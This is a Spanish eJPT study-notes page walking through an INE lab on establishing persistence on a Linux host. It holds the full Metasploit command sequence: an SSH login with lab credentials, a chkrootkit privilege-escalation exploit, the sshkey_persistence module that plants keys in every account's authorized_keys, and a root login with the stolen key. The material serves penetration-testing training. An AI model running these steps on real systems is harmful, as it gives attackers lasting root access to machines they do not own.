> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-linux/estableciendo-persistencia-en-linux.md).

# Estableciendo persistencia en Linux

## 🔁 ¿Qué es la Persistencia?

La **persistencia** es el conjunto de métodos y herramientas que permiten a un atacante mantener acceso a un sistema comprometido durante un largo periodo de tiempo, **incluso tras eventos que normalmente revocarían ese acceso**, como:

* Reinicios del sistema
* Cambios de contraseñas
* Eliminación de shells o procesos maliciosos

***

## 🎯 Persistencia en Linux

En sistemas Linux, las técnicas de persistencia varían dependiendo de la configuración del objetivo, su distribución y los privilegios que hayamos conseguido.

Algunas técnicas comunes incluyen:

* **Modificación de archivos de inicio** como `.bashrc`, `.profile` o `/etc/rc.local`
* **Creación de cron jobs maliciosos** que ejecuten shells reversas automáticamente
* **Servicios persistentes con systemd**
* **Implantación de backdoors en scripts del sistema**

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/0eN2QJw0tGO2avhVTNlv" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/4GPkaAb3X3C8Zhhz0Gn2" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Escaneo de puertos con Nmap

Ahora podemos realizar un escaneo de puerto Nmap predeterminado en el destino para identificar los puertos abiertos en el sistema de destino, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/Px7c9t3E5VNfBcQjXo5q" alt=""><figcaption></figcaption></figure>

**Paso 4:** Obtener acceso

Para ahorrar tiempo, se puede acceder al sistema de destino por SSH con las credenciales jackie/password. Podemos autenticarnos con el sistema de destino por SSH con el módulo ssh\_login de Metasploit.

Para utilizar este módulo, necesitaremos iniciar la Consola de Metasploit Framework (msfconsole), esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
msfconsole
```

<figure><img src="/files/gCvZAkKa7IaJoHwJSRVn" alt=""><figcaption></figcaption></figure>

Después de iniciar msfconsole, podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USERNAME jackie
set PASSWORD password
exploit
```

<figure><img src="/files/OkDrY0zFIU2m7fD9Jjlh" alt=""><figcaption></figcaption></figure>

Ahora que hemos obtenido acceso al sistema de destino Linux, podemos explorar el proceso de borrar nuestras huellas en el sistema de destino Linux.

Podemos actualizar esta sesión de shell de comandos a una sesión de meterpreter ejecutando el siguiente comando:

**Dominio:**

```
sessions -u 1
```

<figure><img src="/files/STGUTnhVvDuoreE9Y500" alt=""><figcaption></figcaption></figure>

**Paso 5:** Establecer la persistencia en Linux

Para utilizar los módulos de persistencia de Metasploit, primero necesitaremos elevar nuestros privilegios en el destino Linux.

El sistema de destino tiene instalada una versión vulnerable de chkrootkit que es vulnerable a la escalada de privilegios y puede explotarse mediante el uso de un módulo Metasploit.

Podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use exploit/unix/local/chkrootkit
```

Ahora tendremos que configurar las opciones del módulo; más específicamente, establecer la opción ID DE SESIÓN. Esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
set SESSION 2
```

Nota: En su caso, el ID DE SESIÓN será diferente.

También necesitaremos establecer la ruta al binario chkrootkit, esto se puede hacer ejecutando el siguiente comando:

**Dominio:**

```
set CHKROOTKIT /bin/chkrootkit
```

Ahora configure LHOST.

**Dominio:**

```
set LHOST 192.84.46.2
```

Después de configurar las opciones del módulo, podemos ejecutar el módulo ejecutando el siguiente comando:

**Dominio:**

```
exploit
```

<figure><img src="/files/sIPmVIh0IJ1r2wrkHLp6" alt=""><figcaption></figcaption></figure>

Como se muestra en la siguiente captura de pantalla, el módulo se ejecuta correctamente y nos proporciona una sesión de shell de comando elevada en el sistema de destino.

También podemos actualizar esta sesión de shell de comandos a una sesión de meterpreter ejecutando el siguiente comando:

**Dominio:**

```
sessions -u 3
```

<figure><img src="/files/lHx8nVGjJBktSbLvA7sv" alt=""><figcaption></figcaption></figure>

Ahora que hemos podido elevar nuestros privilegios en el sistema de destino, podemos comenzar a explorar el proceso de establecer persistencia.

El mejor módulo de Metasploit que se puede utilizar para establecer acceso persistente en un objetivo Linux es el módulo sshkey\_persistence.

Podemos cargar el módulo ejecutando el siguiente comando:

**Dominio:**

```
use post/linux/manage/sshkey_persistence
```

Ahora tendremos que configurar las opciones del módulo; más específicamente, estableceremos las opciones ID DE SESIÓN y CREATESSHFOLDER. Esto se puede hacer ejecutando los siguientes comandos:

**Dominio:**

```
set SESSION 4
```

Nota: En su caso, el ID DE SESIÓN será diferente.

**Dominio:**

```
set CREATESSHFOLDER true
```

Después de configurar las opciones del módulo, podemos ejecutar el módulo ejecutando el siguiente comando:

**Dominio:**

```
exploit
```

Como se muestra en la siguiente captura de pantalla, el módulo se ejecuta correctamente y agregará una clave SSH pública al archivo authorized\_keys en el directorio de inicio de todas las cuentas de usuario y servicio.

<figure><img src="/files/kp0n0XgI42ZK6o6wpJj3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ELdT6ASClZ4EIGew2i0L" alt=""><figcaption></figcaption></figure>

**Clave privada SSH:**

```
/root/.msf4/loot/20240716164352_default_192.217.38.3_id_rsa_606834.txt
```

Para utilizar la clave privada, copie la clave y guárdela como un archivo nuevo, en este caso, la guardaremos en el directorio de inicio del usuario root en el sistema Kali Linux como **ssh\_key** .

**Dominio:**

```
cp /root/.msf4/loot/20240716164352_default_192.217.38.3_id_rsa_606834.txt ssh_key
```

<figure><img src="/files/0eETdSxYUmOt3HDYnM3W" alt=""><figcaption></figcaption></figure>

Luego necesitaremos asignar los permisos adecuados al archivo, esto se puede hacer ejecutando los siguientes comandos:

**Dominio:**

```
chmod 0400 ssh_key
```

Ahora podemos autenticarnos con el objetivo usando la clave privada a través de SSH ejecutando el siguiente comando:

**Dominio:**

```
ssh -i ssh_key root@demo.ine.local
```

<figure><img src="/files/ab4ITERDPY60uXP4bJke" alt=""><figcaption></figcaption></figure>

Como se muestra en la siguiente captura de pantalla, la autenticación con la clave privada es exitosa y hemos podido establecer con éxito acceso persistente al objetivo Linux agregando nuestra clave pública al archivo authorised\_keys de la cuenta de usuario, lo que nos permite autenticarnos con el objetivo a través de SSH sin proporcionar una contraseña.

En este laboratorio, exploramos el proceso de establecer acceso persistente en un objetivo Linux con Metasploit.

## Referencias

* [Chkrootkit 0.49 - Escalada de privilegios locales](https://www.exploit-db.com/exploits/33899)
* [Módulo Metasploit](https://www.rapid7.com/db/modules/exploit/unix/local/chkrootkit)
